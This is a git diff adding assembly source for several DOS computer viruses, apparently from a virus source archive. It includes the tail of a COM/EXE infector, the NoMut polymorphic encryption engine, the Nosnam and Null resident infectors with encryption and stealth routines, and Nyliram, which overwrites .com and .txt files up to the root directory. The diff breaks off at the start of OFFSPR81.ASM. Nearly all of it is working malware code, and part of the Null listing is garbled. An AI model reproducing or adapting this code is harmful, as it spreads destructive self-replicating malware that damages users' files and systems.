es:[di+020h],'LC' ;Could it Be Clean? + je _closeCOMEXEfile ;Jump if Equal/Zero + ; + mov dx,offset host_bytes ;DX=Buffer for Data + mov cx,018h ;CX=Number of Bytes + mov ah,03Fh ;AH=3Fh / READ + int 021h ;DOS Services + ; + mov word ptr es:[di+015h],000h ;Move File Pointer to + mov word ptr es:[di+017h],000h ;Starting of File (SFT) + ; + mov si,offset temp_buffer ;SI=Temp_buffer + ; + mov ax,4D5Ah ;** Get Rid of TBAV's + ;** EXE/COM Determination + cmp ax,word ptr [host_bytes+000h] ;Is This an EXE File? + je infectEXEfile ;Jump if Equal/Zero + ; + xchg ah,al ;Exchange Registers (MZ) + ; + cmp ax,word ptr [host_bytes+000h] ;Is This an EXE File? + je infectEXEfile ;Jump if Equal/Zero + ; +infectCOMfile: ; + call LSeek ;Move File Pointer to End + ; + mov word ptr [delta],ax ;Write New Delta Offset + ; + sub ax,003h ;Subtract 03 for JMP Loc + mov byte ptr [si+000h],0E9h ;Write JMP to Buffer + mov word ptr [si+001h],ax ;Write JMP Loc to Buffer + ; + mov cx,003h ;CX=Number of Bytes + push cx ;Push Register onto Stack + ; + jmp continueCOMEXEinfect ;Unconditional Jump + ; +_closeCOMEXEfile: ; + jmp closeCOMEXEfile ;Unconditional Jump + ; +infectEXEfile: ; + mov dx,si ;DX=Buffer for Data + push cx ;CX=Number of Bytes + mov ah,03Fh ;AH=3Fh / READ + int 021h ;DOS Services + ; + call LSeek ;Move File Pointer to End + ; + push dx ax ;Push File Size onto Stack + ; + add ax,(v_end-v_start) ;Add Virus Size to Low Bit + adc dx,000h ;Add if Carry to High Bit + ; + mov cx,200h ;CX=Number to Divide By + div cx ;Divide AX by CX + ; + or dx,dx ;Do We Need to Round Up? + je no_burp ;Jump if Equal/Zero + ; + inc ax ;Increment AX + ; +no_burp: ; + mov word ptr [si+004h],ax ;New Length of File 512 + mov word ptr [si+002h],dx ;New # of Bytes in Last Pg + ; + pop ax dx ;Restore File Size + ; + mov cx,010h ;CX=Number to Divide By + div cx ;Divide AX by CX + ; + sub ax,word ptr [si+008h] ;Subtact Header Size + ; + mov word ptr [si+016h],ax ;CS=Segment of Virus + mov word ptr [si+014h],dx ;IP=Location of Virus + ; + sub dx,100h ;Subtract 100h for Offset + mov word ptr [delta],dx ;Write New Delta Offset + ; +continueCOMEXEinfect: ; + mov dx,offset v_start ;DX=Location of Data + mov cx,(v_end-v_start) ;CX=Number of Bytes + mov ah,040h ;AH=40h / WRITE + int 021h ;DOS Services + ; + mov word ptr es:[di+015h],000h ;Move File Pointer to + mov word ptr es:[di+017h],000h ;Starting of File (SFT) + ; + xchg dx,si ;DX=Location of Data + pop cx ;CX=Number of Bytes + mov ah,040h ;AH=40h / WRITE + int 021h ;DOS Services + ; + mov cx,word ptr es:[di+00Dh] ;CX=Time + mov dx,word ptr es:[di+00Fh] ;DX=Date + ; + push dx ;Push Date Stamp to Stack + ; + and cx,-020h ;Reset Seconds + and dx,01Fh ;Unmask Day Field + ; + or cx,dx ;Move Day into Seconds + ; + pop dx ;Restore Date + ; +preCLOSECOMEXEfile: ; + mov ax,5701h ;AX=5701h / SET T/D STAMPS + int 021h ;DOS Services + ; +closeCOMEXEfile: ; + mov ah,03Eh ;AH=3Eh / CLOSE File + int 021h ;DOS Services + ; + jmp _Interrupt21h ;Unconditional Jump + ; +OpenAndGetSFT: ; + mov ax,3D00h ;AX=3D00h / OPEN R/O + pushf ;Push Flags to Top of Stck + push cs ;Push Segment to Stack + call Interrupt21h ;Simulate Interrupt + ; + xchg ax,bx ;Move File Handle to BX + ; + push bx cs cs ;Push Registers to Stack + pop es ds ;Equal Out Segments + ; + mov ax,1220h ;AX=1220h / GET JFT + int 02Fh ;Multiplex Interrupt + ; + mov ax,1216h ;AX=1216h / GET SFT + mov bl,byte ptr es:[di] ;Move Byte into BL + int 02Fh ;Multiplex Interrupt + ; + pop bx ;Restore File Handle + ; + mov word ptr es:[di+002h],002h ;Open in Read/Write Mode + ; + retn ;Return to Point of Call + ; +LSeek: push ds ;Push Segment onto Stack + ; + lds ax,dword ptr es:[di+011h] ;Load Far Pointer to DS:AX + mov word ptr es:[di+015h],ax ;Move File Pointer to + mov word ptr es:[di+017h],ds ;End of File. (SFT) + mov dx,ds ;Move High Bit to DX + ; + pop ds ;Restore Segment to DS + ; + retn ;Return to Point of Call + ; +host_bytes dw 020CDh ;First 3 for COM ;Marks Host as an EXE + dw 002h ;# of Bytes @ Last Page + dw 004h ;# of Pages + Header Size + dw 006h ;# of Relocatable Entries + dw 008h ;Size of Header (Paras) + dw 00Ah ;Min. Memory Required + dw 00Ch ;Max. Memory Wanted + dw 00Eh ;SS Value at Entry + dw 010h ;SP Value at Entry + dw 012h ;Negative Checksum + dw 014h ;IP Value at Entry + dw 016h ;CS Value at Entry + ; +v_end: ;Marks End of Virus +heap_start: ;Marks Start of Heap + ; +temp_buffer db 018h dup (?) ;Multipurpose Buffer + ; +heap_end: ;Marks End of Heap + ; +end start ;Marks End of Source diff --git a/n/Nomut.asm b/n/Nomut.asm new file mode 100755 index 0000000..402d7a1 --- /dev/null +++ b/n/Nomut.asm @@ -0,0 +1,263 @@ +; +;NoMut Version 0.01 +; +;NoMut is a polymorphic engine like every other one with two major +;differences: +; 1. It doesn't generate junk instructions. +; 2. It generates two decryptors where the first +; decrypts the second one. +; +;NoMut is utilised as an object file. You can use following public symbols: +;- mutate : near The work horse. +;- mylen : offset The size of the engine code. +; +;Mutate needs the following call parameters: +; DS:SI Pointer to the unencrypted code. +; CX Size of the unencrypted code. +; BP Offset the decryptor should work on later. +; ES Work segment. +;The decryptor is always created at ES:0. +;Mutate only produces this output: +; CX Size of encrypted code including decryptors. +; +;NoMut must always be run at the offset that is specified upon compilation. +; + +.model small +.code + +public mutate +public mylen + +adr_reg db 3,6,7 ; bx, si, di +adr2_reg db 7,4,5 +reg_1 dw 0 +begin dw ? +count dw ? +addres1 dw ? +addres2 dw ? +cond_jmp dw ? +fix dw ? +loop_beg dw ? +code_ptr dw ?,? +e_val1 db ? +e_met1 db ? +e_val2 db ? +e_met2 db ? + +extrn random:near + +; Input: DS:SI Code to crypt +; CX size of code to crypt +; BP running offset of decryptor +; ES working segment +mutate: +assume ds:nothing + ; save params + mov code_ptr,si + mov code_ptr+2,ds +assume ds:dgroup + push cs + pop ds + mov count,cx + mov begin,bp + ; generate randoms + mov ah,2 + call random + mov byte ptr reg_1,al + mov ah,0feh + call random + inc al + mov e_val1,al + mov ah,1h + call random + inc al + mov e_met1,al + xor di,di + call generate +; mov bx,addres1 +; add word ptr es:[bx],di + mov bx,addres2 + add word ptr es:[bx],di + mov bx,fix + sub word ptr es:[bx],di + add begin,di + push di + mov al,e_val1 + mov e_val2,al + mov al,e_met1 + mov e_met2,al +retry_e: + mov ah,0feh + call random + inc al + cmp al,e_val2 + je retry_e + mov e_val1,al + mov ah,1h + call random + mov e_met1,al + call generate + pop bx + cld +assume ds:nothing + ; crypt second decryptor + push di + mov ax,es + mov ds,ax + mov cx,di + mov di,bx + mov si,di + sub cx,di + mov ah,e_val2 +encr_l1: + lodsb + cmp e_met2,1 + jz add_1 + xor al,ah + jmp done_1 +add_1: + sub al,ah +done_1: + stosb + loop encr_l1 + pop di + ; crypt virus + lds si,dword ptr code_ptr + mov cx,count + mov bl,e_val2 + xor bh,e_val1 +encr_loop: + lodsb + cmp e_met1,1 + jz add_2 + xor al,bh + jmp done_2 +add_2: + sub al,bh +done_2: + cmp e_met2,1 + jz add_3 + xor al,bl + jmp done_3 +add_3: + sub al,bl +done_3: + stosb + loop encr_loop + + mov cx,di + ret + +generate: + ; generate address init + mov bx,reg_1 + cld + mov al,0B8h + or al,adr_reg[bx] + stosb + mov addres1,di + add di,2 ; keep free + ; store loop_beg + mov loop_beg,di + ; generate address test + mov ax,0F881h + or ah,adr_reg[bx] + stosw + mov addres2,di + add di,2 ; keep free + ; generate JNE + mov al,75h + stosb + mov cond_jmp,di + inc di ; keep free + ; generate fix + mov ax,8081h + mov bx,reg_1 + or ah,adr2_reg[bx] + stosw + mov fix,di + add di,4 ; keep free +; mov al,53h +; stosb +; mov ax,000BBh +; stosw +; mov ax,0C601h +; stosw +; mov ax,0C307h +; stosw +; mov ax,0d3FFh +; stosw +; mov al,5bh +; stosb + ; generate Prefetch Queue-Cleaner + mov al,0EBh + stosb + mov ax,9001h + stosw + ; fix conditional jump + mov ax,di + push di + mov di,cond_jmp + sub ax,di + dec ax + stosb + pop di + + ; generate decoder + ; just XOR now + mov bx,reg_1 + mov ax,3080h + cmp e_met1,1 + jnz done_4 + mov ah,00h +done_4: + or ah,adr2_reg[bx] + stosw + mov al,e_val1 + stosb + + ; generate increase address + mov al,40h + or al,adr_reg[bx] + stosb + ; generate jump back + mov al,0E9h + stosb + mov cx,di ; later used for inserting in fix + mov ax,loop_beg + sub ax,di + dec ax + dec ax + stosw + ; save pos right after decryptor + push di + ; fix the fix +; mov ax,cx +; add ax,bp + mov ax,cx + sub ax,count + sub ax,di + mov cx,di + mov di,fix + stosw + mov ax,cx + sub ax,loop_beg + stosw + ; fix address in adress init + mov di,addres1 + mov ax,cx + add ax,bp + stosw + ; fix address in compare + mov di,addres2 + add ax,count + stosw + ; restore pos after decryptor + pop di + ret + + +mylen: + +end diff --git a/n/nosnam.asm b/n/nosnam.asm new file mode 100755 index 0000000..aa33b6d --- /dev/null +++ b/n/nosnam.asm @@ -0,0 +1,264 @@ +; ------------------------------------------------------------------------- ; +; Nosnam v1.5 coded by KilJaeden of the Codebreakers 1998 ; +; ------------------------------------------------------------------------- ; +; Description: `-------------------| Started: 07/06/98 | Finished: 09/06/98 ; +; `-------------------^------------------- ; +; v1.0 - TSR *.com appender, direct MCB manipulation style | Size: 430 ; +; v1.1 - add some XOR,NEG,NOT,ROR encryption to this `---------- ; +; v1.2 - Infects only files < 1,000 bytes and > 62,000 bytes ; +; v1.3 - saves and restores the time / date stamps ; +; v1.4 - infects files with any attributes ; +; v1.5 - saves and restores file attributes ; +; ------------------------------------------------------------------------- ; +; ------> For Christine Moore, For The Codebreakers & For Mind Warp <----- ; +; ------------------------------------------------------------------------- ; +; to compile ::] tasm nosnam.asm ; +; to link :::::] tlink /t nosnam.obj ; +; ------------------------------------------------------------------------- ; + + code segment ; name our segment 'code' + assume cs:code,ds:code ; assign cs and ds to code + org 100h ; this be a .com file + .286 ; needed for pusha/popa + +blank: db 0e9h,0,0 ; define blank jump +start: call delta ; push IP on to stack +delta: pop bp ; pop it into BP + sub bp,offset delta ; get delta offset + +encryp: jmp first ; jump to first (overwritten) + lea si,[bp+encd] ; load SI with encrypted area start + mov di,si ; move that address into DI + call encr ; call the encryption loop + jmp encd ; jump to encrypted area start + +encr: lodsb ; load a byte from AL + not al ; encryptin 1 + ror al,4 ; encryptin 2 + neg al ; encryptin 3 + xor al,byte ptr [bp+key] ; unencrypt 4 + neg al ; unencrypt 3 + ror al,4 ; unencrypt 2 + not al ; unencrypt 1 + stosb ; store the byte + loop encr ; do all the bytes + ret ; return from call + + key db 0 ; define our key here + +encd: mov ax,0deadh ; move 0deadh into AX + int 21h ; if resident, 0deadh is in BX + cmp bx,0deadh ; check to see if it is + jne go_rez ; nope, go rezident now + jmp first3 ; jump to first three + +go_rez: sub word ptr cs:[2],80h ; lower top of memory data in PSP + mov ax,cs ; move CS into AX + dec ax ; decrement AX + mov ds,ax ; move new value into DS + sub word ptr ds:[3],80h ; sub 2kb from accessed MCB + xor ax,ax ; AX to 0 now + mov ds,ax ; DS is now 0 + sub word ptr ds:[413h],2 ; adjust BIOS data area by 2kb + mov ax,word ptr ds:[413h] ; move adjusted BIOS mem to AX + mov cl,6 ; load CL with 6 + shl ax,cl ; multiply BIOS base mem by 64 + mov es,ax ; move the value to ES + push cs ; push CS again so you can + pop ds ; restore DS to original value + xor di,di ; DI is now 0 + lea si,[bp+start] ; SI loaded with start address + mov cx,finished-start ; # of bytes to write + rep movsb ; load virus into memory + +hook: xor ax,ax ; ax to 0 + mov ds,ax ; DS to 0 + lea ax,isr ; point IVT to new ISR + sub ax,offset start ; subtract start offset + mov bx,es ; move extra segment into BX + + cli ; clear interrupts + xchg ax,word ptr ds:[21h*4] ; getting Int 21 + xchg bx,word ptr ds:[21h*4+2] ; into bx and ax + mov word ptr es:[oi21-offset start],ax ; save old int 21 + mov word ptr es:[oi21+2-offset start],bx ; save old int 21 + sti ; restore interrupts + + push cs ; push code segment register + push cs ; push it again + pop ds ; put it into DS + pop es ; put it into ES + +first3: lea si,[bp+buffer] ; restore first three bytes + mov di,100h ; 100h to restore them too + push di ; push 100h on to stack + movsb ; move one byte + movsw ; move one word + retn ; return control to host + +isr: pushf ; push all the flags + cmp ax,0deadh ; have we added check value? + jne exec ; yup, wait now for 4bh + mov bx,0deadh ; nope adding it now + popf ; pop all flags + iret ; pop cs:ip+flags from stack + +exec: pusha ; push all registers + push ds ; push DS + push es ; likewize for ES + cmp ah,4bh ; something being executed? + je main ; yup, on with the infecting + jmp exit2 ; naw, jump to original ISR +goexit: jmp exit ; need this to make the jump + +main: push bp ; save original delta offset + call tsrdel ; push IP on to stack +tsrdel: pop bp ; pop it off into BP + sub bp,offset tsrdel ; get 2nd delta offset + + push ds ; push DS again + pop es ; and pop it into ES + mov di,dx ; move file info into DI + mov cx,64 ; 64 byte filename possible + mov al,'.' ; load al with . + cld ; clear direction flag + repnz scasb ; scan until . is hit + cmp word ptr ds:[di],'OC' ; check for .CO- + jne goexit ; not a .com file, exit + cmp word ptr ds:[di+2],'M' ; check for .--M + jne goexit ; not a .com file, exit + + mov ax,4300h ; get file attributes + int 21h ; we have the attributes + push cx ; save attribute #1 + push dx ; save attribute #2 + push ds ; save attribute #3 + + mov ax,4301h ; set file attributes + xor cx,cx ; to none at all + int 21h ; file is ready now + + mov ax,3d02h ; open the file now + int 21h ; open it up now + xchg bx,ax ; move the info + + push cs ; push code segment register + push cs ; push it again + pop ds ; put it into DS + pop es ; put it into ES + + mov ax,5700h ; get the time / date stamps + int 21h ; got them now + push dx ; save value #1 + push cx ; save value #2 + + mov ah,3fh ; the record function + lea dx,[bp+buffer] ; record bytes here + mov cx,3 ; record three bytes + int 21h ; restore them now + + mov ax,4202h ; scan to end of file + cwd ; dx to 0 + xor cx,cx ; cx to 0 + int 21h ; DX:AX = file size now! + + cmp dx,0 ; is the file < 65,535 bytes? + jne close ; way to big, close it up + mov cx,word ptr [bp+buffer+1] ; move buffer+1 into CX + add cx,finished-start+3 ; virus size + jump + cmp ax,cx ; compare file size and CX + jz close ; if equal, close it up + cmp ax,1000 ; compare 1000 bytes with CX + jb close ; file too small, close it + cmp ax,62000 ; compare 62,000 bytes with AX + ja close ; file too big, close it up + + sub ax,3 ; subtract 3 from filesize + mov word ptr [bp+newjump+1],ax ; write as our new jump + + mov ax,4200h ; point to start of file + cwd ; dx to 0 + xor cx,cx ; cx to 0 + int 21h ; now pointing to start + + mov ah,40h ; write to file + mov cx,3 ; three bytes + lea dx,[bp+newjump] ; write this + int 21h ; jump is written + + mov ax,4202h ; scan to end of file + cwd ; dx to 0 + xor cx,cx ; cx to 0 + int 21h ; now pointing to end + + in al,40h ; get random value + mov byte ptr [bp+key],al ; save as our key + + mov ah,40h ; write to file + lea dx,[bp+start] ; where to start + mov cx,encd-start ; # of bytes to write + int 21h ; write those bytes + + lea di,[bp+finished] ; DI points to encrypted area end + push di ; save value, we need it in a minute + lea si,[bp+encd] ; SI points to encrypted area start + mov cx,finished-encd ; # of bytes to encrypt + push cx ; save value, we need it in a minute + call encr ; encrypt those bytes now + + mov ah,40h ; write to file + pop cx ; use that saved value from before + pop dx ; use the other saved value + int 21h ; write those bytes + +close: mov ax,5701h ; set time / date stamps + pop cx ; from saved value #2 + pop dx ; from saved value #1 + int 21h ; time / date is restored + + mov ax,4301h ; set file attributes + pop ds ; from saved value #3 + pop dx ; from saved value #2 + pop cx ; from saved value #1 + int 21h ; attributes restored + + mov ah,3eh ; close the file + int 21h ; file is closed + +exit: pop bp ; pop the original delta offset +exit2: pop es ; pop ES from stack + pop ds ; pop DS from stack + popa ; pop all registers + popf ; pop all flags + db 0eah ; jump to original ISR + +; ---------------------------( The Data Area )----------------------------- ; +; ------------------------------------------------------------------------- ; + + oi21 dd ? ; old int 21 goes here + buffer db 0cdh,20h,0 ; terminates 1st gen + virname db 'Nosnam',0 ; the virus name + newjump db 0e9h,0,0 ; blank jump 1st gen + finished label near ; the offset label + +; ---------------------( Not Saved / Not Encrypted )----------------------- ; +; ------------------------------------------------------------------------- ; + +first: lea di,[bp+encryp] ; load with start address + lea si,[bp+new] ; load with bytes to move + movsw ; move two bytes + movsb ; move one byte + jmp encd ; jump to encrypted area + +new: mov cx,finished-encd ; this will overwrite the jump + +; ------------------------------( The End )-------------------------------- ; +; ------------------------------------------------------------------------- ; + + code ends ; end code segment + end blank ; end it all / where to start + +; ------------------------------------------------------------------------- ; +; ---------> How Can You Think Freely In The Shadow Of A Church? <--------- ; +; ------------------------------------------------------------------------- ; + diff --git a/n/null.asm b/n/null.asm new file mode 100755 index 0000000..6c34c00 --- /dev/null +++ b/n/null.asm @@ -0,0 +1,649 @@ +; Null Virus (souped-up version) +; +; This virus is a simple full stealth virus, employing disinfection on +;opening. It's also a fast infector of COM and EXE, hitting files on close, +;attrib, rename and execute. This virus was originally written as a tutorial, +;I later pulled out the source and souped it up, the simplicity is +;intentional. Compile and run the code at your own risk. Don't come crying to +;me if your computer is damaged (though I can't possibly see how.. oh well). +;Compile with a86. Should be 996 bytes in size. +; +; This code is copyright Buz [FS]. Any theft of code or such nonsense +;may result in death or dismemberment. + +vsize equ old_24h-start +memsize equ end_heap-start +psize equ vsize/10h+1 +EXE_dsp equ EXE_dispatch-COM_dispatch + +work_buffer equ old_24h+4 +filename equ work_buffer+1ah +@stack equ filename+0dh +end_heap equ @stack+40h + +org 0h + +start: + call verklemmt + +verklemmt: + pop si + sub si,3 + push ds + push es + mov ax,3056h + int 21h + cmp ax,303h + jz dispatch + +be_thankful: + mov ah,52h + int 21h + mov ax,word ptr es:[bx-2] + xor di,di + +protecto: + mov ds,ax + cmp byte ptr [di],'Z' + jz found_MCB + mov bx,ax + add ax,word ptr [di+3] + inc ax + jmp short protecto + +found_MCB: + mov ax,psize + cmp word ptr [di+1],ax + jae fix_block + mov ds,bx + +fix_block: + sub word ptr [di+3],ax + sub word ptr [di+12h],ax + mov es,word ptr [di+12h] + mov cx,memsize + cld + push si + rep movsb + push cs + mov ax,offset dispatch + push ax + push es + mov ax,offset get_int21h + push ax + retf + + db 'NULL' + +get_int21h: + mov ax,3521h + int 21h + push cs + pop ds + mov word ptr [old_21h],bx + mov word ptr [old_21h+2],es + mov ax,2521h + mov dx,offset int21h_handler + int 21h + +dispatch: + db 0e9h +dsp dw 0 + +COM_dispatch: + pop es + mov si,offset buffer + mov di,100h + pop ds + push ds + push di + movsw + movsb + jmp short clear_regs + +EXE_dispatch: + pop es + mov si,offset buffer+0eh + lodsw + cli + mov ss,ax + lodsw + mov sp,ax + sti + lodsw + lodsw + xchg ax,bx + lodsw + pop ds + push ax + push bx + +clear_regs: + xor ax,ax + mov bx,ax + mov cx,ax + mov dx,ax + mov si,ax + mov di,ax + mov bp,ax + retf + +kstealth_FCB: + call int21h + or al,al + jnz kstealth_done2 + pusha + push ds + push es + mov ah,2fh + call int21h + push es + pop ds + mov si,bx + lodsb + inc ax + jnz not_extended + add si,7 + +not_extended: + add si,15h + lodsw + xchg ax,bx + call chk_inf + jc kstealth_done1 + sub si,8 + +butter: + sub word ptr [si],vsize + sbb word ptr [si+2],0 + +kstealth_done1: + pop es + pop ds + popa + +kstealth_done2: + iret + +kstealth_DTA: + call int21h + jc kstealth_error + pusha + push ds + push es + mov ah,2fh + call int21h + push es + pop ds + mov si,bx + add si,16h + lodsw + xchg ax,bx + call chk_inf + jc kstealth_done1 + lodsw + jmp short butter + +kstealth_error: + popf + stc + retf 2 + +int21h_handler: + cmp ax,3056h + jz res_check + cmp ax,11h + jz kstealth_FCB + cmp ax,12h + jz kstealth_FCB + cmp ah,3dh + jz clean + cmp ah,3eh + jz close + cmp ah,43h + jz letsgo + cmp ah,4bh + jz execute + cmp ah,4eh + jz kstealth_DTA + cmp ah,4fh + jz kstealth_DTA + cmp ah,56h + jz letsgo + cmp ax,6c00h + jz into_the_light + +return_21h: + db 0eah +old_21h dd 0 + +res_check: + mov ax,303h +_iret: iret + +sig db 'BUZ',0 + +close: + call get_SFT + push es + pop ds + mov si,di + add si,20h + call ASCIIZ_filename + call int21h + push cs + pop ds + push cs + pop es + mov dx,offset filename + mov ah,30h + +letsgo: + call queef + jmp short return_21h + +into_the_light: + mov dx,si + jmp short clean + +execute: + or al,al + jz letsgo + +clean: + mov ax,3d02h + call int21h + pusha + push ds + push es + xchg bx,ax + call chk_handle + jc all_clear + call set_int24h + call disinfect + call reset_int24h + +all_clear: + pop es + pop ds + popa + iret + +queef: + pusha + push ds + push es + call set_int24h + +copy_fname: + push cs + pop es + mov si,dx + mov di,offset filename + mov cx,0dh + rep movsb + push cs + pop ds + mov dx,offset filename + mov si,dx + +k_zero: + lodsb + or al,al + jnz k_zero + +k_check: + sub si,4 + lodsw + cmp ax,'XE' + jz verify_EXE + cmp ax,'OC' + jnz bomb_out + lodsb + cmp ax,'M' + jnz bomb_out + +verify_EXE: + lodsb + cmp ax,'E' + jz get_attribs + mov cx,6 + mov si,dx + mov di,offset names + lodsw + +k_name: + scasw + jz bomb_out + loop k_name + + +bomb_out: + jmp end_it_all + +get_attribs: + mov ax,4300h + call int21h + push dx + push cx + mov ax,4301h + xor cx,cx + push ax + call int21h + +open_file: + mov ax,3d02h + call int21h + xchg ax,bx + call chk_handle + jnc proceed + jmp were_outta_here + +proceed: + mov ax,5700h + call int21h + push dx + push cx + +read: + mov ah,3fh + mov dx,offset buffer + push dx + push dx + mov cx,1ah + push cx + call int21h + pop cx + pop si + mov di,offset work_buffer + rep movsb + pop si + +chk_type: + lodsw + cmp ax,'MZ' + jz EXE_file + cmp ax,'ZM' + jz EXE_file + +COM_file: + call lseek_EOF + sub ax,3 + dec si + dec si + mov dx,si + push ax + mov al,0e9h + stosb + pop ax + stosw + call lseek_EOF + mov ah,40h + mov cx,3 + call int21h + xor ax,ax + mov di,offset dsp + stosb + jmp short write_body + +EXE_file: + call lseek_EOF + push dx + push ax + push dx + push ax + push dx + push ax + lodsw + xchg bp,ax + lodsw + mov cx,200h + mul cx + add ax,bp + pop cx + pop bp + cmp ax,cx + jb were_outta_here2 + cmp dx,bp + jb were_outta_here2 + mov si,offset work_buffer + cmp word ptr [si+18h],40h + jb fix_csip + +were_outta_here2: + pop ax + pop ax + pop ax + pop ax + jmp short were_outta_here + +fix_csip: + pop ax + pop dx + mov cl,0ch + shl dx,cl + push ax + mov cl,4 + shr ax,cl + add dx,ax + shl ax,cl + pop cx + sub cx,ax + mov ax,word ptr [si+8] + sub dx,ax + mov word ptr [si+14h],cx + mov word ptr [si+16h],dx + +fix_sssp: + mov word ptr [si+0eh],dx + mov ax,offset @stack + mov word ptr [si+10h],ax + +fix_pages: + pop ax + pop dx + add ax,vsize + adc dx,0 + mov cx,200h + div cx + or dx,dx + jz noinc + inc ax + +noinc: + mov word ptr [si+2],dx + mov word ptr [si+4],ax + +write_header: + call lseek_BOF + mov ah,40h + mov cx,1ah + mov dx,offset work_buffer + call int21h + mov ax,EXE_dsp + mov di,offset dsp + stosb + +write_body: + call lseek_EOF + mov ah,40h + mov cx,vsize + mov dx,offset start + call int21h + +set_mark: + pop cx + mov ax,cx + shr ax,5 + and al,011111b + and cl,011100000b + or al,cl + pop dx + mov ax,5701h + call int21h + +were_outta_here: + mov ah,3eh + call int21h + +set_attribs: + pop ax + pop cx + pop dx + +end_it_all: + call int21h + call reset_int24h + pop es + pop ds + popa + +disinfect: + push ds + push cs + pop ds + call lseek_EOF + mov cx,ax + xchg ax,dx + sub dx,(offset buffer-offset old_24h) + sbb cx,0 + mov al,1 + call lseek + mov ah,3fh + mov cx,1ah + mov dx,offset work_buffer + push dx + push cx + call int21h + call lseek_BOF + mov ah,40h + pop cx ;cx = 1ah + pop dx ;dx = offset work_buffer + call int21h ;write it to the start + call lseek_EOF + sub ax,vsize + sbb dx,0 + mov cx,dx + xchg ax,dx + mov al,01 + call lseek + mov ah,40h + xor cx,cx + call int21h + call lseek_BO pushf + call dword ptr cs:[old_21h] + ret + +set_int24h: + mov ax,3521h + call int21h + push cs + pop ds + mov word ptr [old_24h],bx + mov word ptr [old_24h+2],es + mov ax,2521h + mov dx,offset _iret + call int21h + ret + +reset_int24h: + mov dx,word ptr [old_24h] + mov ax,word ptr [old_24h+2] + mov es,ax + mov ax,2521h + call int21h + ret + +get_SFT: + push ax + push bx + mov ax,1220h + int 2fh + jc SFT_error + mov bl,byte ptr es:[di] + mov ax,1216h + int 2fh + jc SFT_error + +SFT_error: + pop bx + pop ax + ret + +chk_handle: + pusha + mov ax,5700h + call int21h + jmp short chk_cx + +chk_inf: + pusha + +chk_cx: + mov ax,cx + shr ax,6 + and ax,011111b + and cx,011111b + cmp ax,cx + jnz no_inf + popa + clc + ret + +no_inf: + popa + stc + ret + +ASCIIZ_filename: + pusha + push es + push si + push cs + pop es + mov di,offset filename + mov cx,8 + +copy_name: + lodsb + or al,al + jz copy_ext + stosb + loop copy_name + +make_dot: + mov al,2eh ;ascii period + stosb + +copy_ext: + pop si + add si,8 ;si now points to file extension + movsw + movsb + xor al,al + stosb + pop es + popa + ret + +lseek_BOF: + xor ax,ax + jmp short do_lseek + +lseek_EOF: + mov ax,2 + +do_lseek: + xor cx,cx + cwd + +lseek: + mov ah,42h + call int21h + ret + +names db 'SCCLVSVIAVF',0dh + +buffer db 1ah dup (?) + +old_24h: diff --git a/n/nyliram.asm b/n/nyliram.asm new file mode 100755 index 0000000..b7c0bae --- /dev/null +++ b/n/nyliram.asm @@ -0,0 +1,120 @@ +; ------------------------------------------------------------------------- ; +; Nyliram v1.0 coded by KilJaeden of The Codebreakers 1998 ; +; ------------------------------------------------------------------------- ; +; to compile ::] tasm nyliram.asm ; +; to link :::::] tlink /t nyliram.obj ; +; --------------------------------------------------------------------------; + +code segment ; segment named code + assume cs:code,ds:code ; assign cs and ds to code + org 100h ; .com file 100 hex +main proc near ; main procedure near + +first_com: + mov ah,4eh ; find the first file + +find_first_com: + xor cx,cx ; cx to 0 + lea dx,comfile ; load *.com into dx + int 21h ; make it so DOS! + jc first_txt ; if no .com found, find .txt + +open_com: + mov ax,3d02h ; open file with read/write + mov dx,9eh ; get file name from DTA (80+1e) + int 21h ; make it so DOS! + +infect_com: + xchg bx,ax ; move file info from ax to bx + mov ah,40h ; write to file + mov cx,offset finish - offset first_com ; replace with + lea dx,first_com ; load effective address + int 21h ; make it so DOS! + +close_com: + mov ah,3eh ; close the file + int 21h ; make it so DOS! + mov ah,4fh ; find next file + jmp find_first_com ; jump to find_first_com + +first_txt: + mov ah,4eh ; find first file + +find_first_txt: + xor cx,cx ; cx to 0 + lea dx,txtfile ; load effective address *.txt + int 21h ; make it so DOS! + jc next_dir ; if none found, leave + +open_txt: + mov ax,3d02h ; open file with read/write + mov dx,9eh ; get file name info + int 21h ; make it so DOS! + +infect_txt: + xchg bx,ax ; put file info into bx + mov ah,40h ; write to file + mov cx,offset pload_finish - offset pload_start ; replace with + lea dx,pload_start ; load effective address + int 21h ; make it so DOS! + +close_txt: + mov ah,3eh ; close up the file + int 21h ; make it so DOS! + mov ah,4fh ; find next file + jmp find_first_txt ; jump to start again + +next_dir: + lea dx,dotdot ; load .. into dx + mov ah,3bh ; the int for changing directories + int 21h ; make it so! + jnc first_com ; jump to first com, start again! + +end_virus: + mov ah,09h ; print a message + mov dx,offset done ; the message + int 21h ; make it so DOS! + int 20h ; end the program + +pload_start: +db 'There''s not much left to love',10 ; payload in txt +db 'Too tired today to hate',10 ; payload in txt +db 'I feel the minute of decay',10 ; payload in txt +db 'I''m on my way down now',10 ; payload in txt +db 'I''d like to take you with me',10 ; payload in txt +db 'I''m on my way down...',10 ; payload in txt +db 'I''m on my way down now',10 ; payload in txt +db 'I''d like to take you with me',10 ; payload in txt +db 'I''m on my way down now',10 ; payload in txt +db 'The minute that it''s born',10 ; payload in txt +db 'It begins to die',10 ; payload in txt +db 'I''d love to just give in',10 ; payload in txt +db 'I''d love to live this lie',10 ; payload in txt +db 'I''ve been to black and back',10 ; payload in txt +db 'I''ve whited out my name',10 ; payload in txt +db 'A lack of pain, a lack of hope',10 ; payload in txt +db 'A lack of anything to say',10 ; payload in txt +db 'There is no cure for what is killing me',10 ; payload in txt +db 'I''m on my way down',10 ; payload in txt +db 'I''ve looked ahead and saw',10 ; payload in txt +db 'A world that''s dead',10 ; payload in txt +db 'I guess that I am too',10 ; payload in txt +db ' ',10 ; payload in txt +db 'I''m On My Way Down Now',10 ; payload in txt +pload_finish label near ; the end label + +data_area: +dotdot db "..",0 +comfile db "*.com",0 +txtfile db "*.txt",0 +done db ' ',10,13 + db '***********************************************************',10,13 + db 'You have infected all .com .txt files from this directory ',10,13 + db 'to the root directory with the Nyliram virus, written by: ',10,13 + db ' KilJaeden of the Codebreakers ''98 ',10,13 + db '***********************************************************',10,13,'$' + +finish label near +main endp +code ends +end first_com diff --git a/o/OFFSPR81.ASM b/o/OFFSPR81.ASM new file mode 100755 index 0000000..57a18a5 --- /dev/null +++ b/o/OFFSPR81.ASM @@ -0,0 +1,665 @@ +;------------------------------------------------------------------------- +; ************************************************ +; OFFSPRING v0.81 - BY VIROGEN - 04-26-93 +; ************************************************ +; +; - Compatible with : TASM /m2 +; +; TYPE : Parastic & Spawning Resident Encrypting (PSRhA) +; +; +; VERSION : 